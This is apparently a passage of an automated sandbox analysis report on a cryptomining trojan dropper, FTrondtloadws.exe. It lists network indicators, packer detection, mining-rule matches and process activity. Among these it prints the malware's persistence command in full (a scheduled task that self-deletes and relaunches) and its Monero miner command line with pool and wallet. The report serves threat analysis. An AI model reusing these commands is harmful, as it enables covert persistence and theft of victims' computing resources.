Source: svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309687369.000001DE00C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309687369.000001DE00C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: FTrondtloadw.exe, 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mansepool.com
Source: FTrondtloadw.exe, 00000001.00000002.257207314.000000000313A000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000008.00000002.273274949.00000000028BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mansepool.com/pspp
Source: FTrondtloadw.exe, 00000001.00000002.257207314.000000000313A000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000008.00000002.273274949.00000000028BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mansepool.com/pspp(K
Source: svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.309638359.000001DE00C13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.309415273.000001DE00C45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.309415273.000001DE00C45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309654029.000001DE00C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000E.00000003.309380769.000001DE00C48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: mansepool.com

Source: global traffic	HTTP traffic detected: GET /pspp HTTP/1.1Host: mansepool.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/G90cVvfJ HTTP/1.1Accept: /Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.7
Source: global traffic	HTTP traffic detected: GET /FreemineCC/ring0/main/inc/consec HTTP/1.1Accept: /Connection: closeHost: raw.githubusercontent.comUser-Agent: cpp-httplib/0.7

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 10 May 2023 00:21:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 7c4e05a16ab62bd7-FRA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: 6CCE:0B6A:13A7265:17074E2:645AE386Accept-Ranges: bytesDate: Wed, 10 May 2023 00:21:26 GMTVia: 1.1 varnishX-Served-By: cache-gig2250065-GIGX-Cache: MISSX-Cache-Hits: 0X-Timer: S1683678087.627754,VS0,VE233Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *X-Fastly-Request-ID: 40d1837aaa1e2592e22cddca63f006c8756a67beExpires: Wed, 10 May 2023 00:26:26 GMTSource-Age: 0

Source: FTrondtloadw.exe, 00000001.00000002.256668445.0000000001258000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Detected VMProtect packer

Source: user_707748.exe.7.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CC92A6	0_2_00CC92A6
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD7DAC	0_2_00CD7DAC
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE60F8	0_2_00CE60F8
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD02D7	0_2_00CD02D7
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD5252	0_2_00CD5252
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD8223	0_2_00CD8223
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD13D6	0_2_00CD13D6
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD73FE	0_2_00CD73FE
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE6327	0_2_00CE6327
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CEE450	0_2_00CEE450
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD5580	0_2_00CD5580
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD0780	0_2_00CD0780
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CEE8FE	0_2_00CEE8FE
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD887F	0_2_00CD887F
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CCD813	0_2_00CCD813
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CC3943	0_2_00CC3943
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CC4A6E	0_2_00CC4A6E
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CF2A04	0_2_00CF2A04
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CCFCAC	0_2_00CCFCAC
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CC2EB6	0_2_00CC2EB6
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CD4FE1	0_2_00CD4FE1
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01718970	1_2_01718970
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171AB60	1_2_0171AB60
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171DAE8	1_2_0171DAE8
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171E440	1_2_0171E440
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171CCA8	1_2_0171CCA8
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01710C98	1_2_01710C98
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01719730	1_2_01719730
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171B9A8	1_2_0171B9A8
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171BA4C	1_2_0171BA4C
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171C22F	1_2_0171C22F
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171C578	1_2_0171C578
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171BD60	1_2_0171BD60
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171B530	1_2_0171B530
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01710550	1_2_01710550
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01719D91	1_2_01719D91
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171BC10	1_2_0171BC10
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171CC97	1_2_0171CC97
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01710C87	1_2_01710C87
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01719721	1_2_01719721
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171BFBD	1_2_0171BFBD
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01719E12	1_2_01719E12
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171E6F0	1_2_0171E6F0
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171BEB4	1_2_0171BEB4
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_01719E81	1_2_01719E81
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03031328	1_2_03031328
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03032950	1_2_03032950
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03036CE0	1_2_03036CE0
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03031318	1_2_03031318
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_030307D0	1_2_030307D0
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03033A20	1_2_03033A20
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03035658	1_2_03035658
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03035668	1_2_03035668
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03032694	1_2_03032694
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_030366CB	1_2_030366CB
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03033978	1_2_03033978
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_030371DF	1_2_030371DF
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_030371F0	1_2_030371F0
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03030040	1_2_03030040
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03036846	1_2_03036846
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B89A0	7_2_010B89A0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BAB60	7_2_010BAB60
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BF420	7_2_010BF420
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B0C98	7_2_010B0C98
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BCCA8	7_2_010BCCA8
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B9730	7_2_010B9730
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BF7C0	7_2_010BF7C0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B8970	7_2_010B8970
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BB9B8	7_2_010BB9B8
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BC22F	7_2_010BC22F
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BBA4C	7_2_010BBA4C
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BB530	7_2_010BB530
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BBD60	7_2_010BBD60
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B9D91	7_2_010B9D91
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BBC10	7_2_010BBC10
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BF410	7_2_010BF410
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B0C87	7_2_010B0C87
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BCC97	7_2_010BCC97
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B9721	7_2_010B9721
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BBFBD	7_2_010BBFBD
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B9E12	7_2_010B9E12
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010B9E81	7_2_010B9E81
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BBEB4	7_2_010BBEB4
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D6CE0	7_2_050D6CE0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D2950	7_2_050D2950
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D1328	7_2_050D1328
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050DF220	7_2_050DF220
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050DFAF0	7_2_050DFAF0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D07D0	7_2_050D07D0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D56B0	7_2_050D56B0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D66CB	7_2_050D66CB
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D56C0	7_2_050D56C0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050DEED8	7_2_050DEED8
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D71DF	7_2_050D71DF
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D71F0	7_2_050D71F0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D6846	7_2_050D6846
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D0040	7_2_050D0040
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D1318	7_2_050D1318
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D3A10	7_2_050D3A10
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D3A20	7_2_050D3A20

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll

Source: user_707748.exe.7.dr

Static PE information: Number of sections : 13 > 10

Source: FTrondtloadws.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000007.00000003.352389386.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: 00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: Process Memory Space: FTrondtloadw.exe PID: 6520, type: MEMORYSTR	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
Source: Process Memory Space: user_707748.exe PID: 2820, type: MEMORYSTR	Matched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth (Nextron Systems), description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: String function: 00CDFD4C appears 42 times
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: String function: 00CE05F0 appears 31 times
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: String function: 00CDFE20 appears 56 times

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171F110 NtQueryInformationProcess,	1_2_0171F110
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171F10A NtQueryInformationProcess,	1_2_0171F10A
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171F0D0 NtQueryInformationProcess,	1_2_0171F0D0
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_0171F0B0 NtQueryInformationProcess,	1_2_0171F0B0
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BF110 NtQueryInformationProcess,	7_2_010BF110
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BF10A NtQueryInformationProcess,	7_2_010BF10A

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CC7A8F: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00CC7A8F

Source: FTrondtloadws.exe, 00000000.00000003.248261796.0000000005158000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameMiner.exe: vs FTrondtloadws.exe

Source: FTrondtloadws.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

File created: C:\Users\user\AppData\Local\ServiceHub

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@29/17@4/6

Source: C:\Users\user\Desktop\FTrondtloadws.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CC7707 GetLastError,FormatMessageW,

0_2_00CC7707

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CDB6A2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00CDB6A2

Source: FTrondtloadws.exe

Virustotal: Detection: 51%

Source: C:\Users\user\Desktop\FTrondtloadws.exe

File read: C:\Users\user\Desktop\FTrondtloadws.exe

Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FTrondtloadws.exe C:\Users\user\Desktop\FTrondtloadws.exe
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Process created: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe"
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process created: C:\Users\user\AppData\Local\Temp\user_707748.exe "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
